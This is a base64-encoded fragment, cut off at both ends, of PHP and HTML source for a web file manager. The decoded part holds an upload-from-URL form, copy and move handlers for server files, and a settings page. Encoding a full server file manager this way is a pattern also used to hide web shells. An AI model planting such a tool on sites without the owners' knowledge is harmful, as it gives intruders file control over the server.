1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3J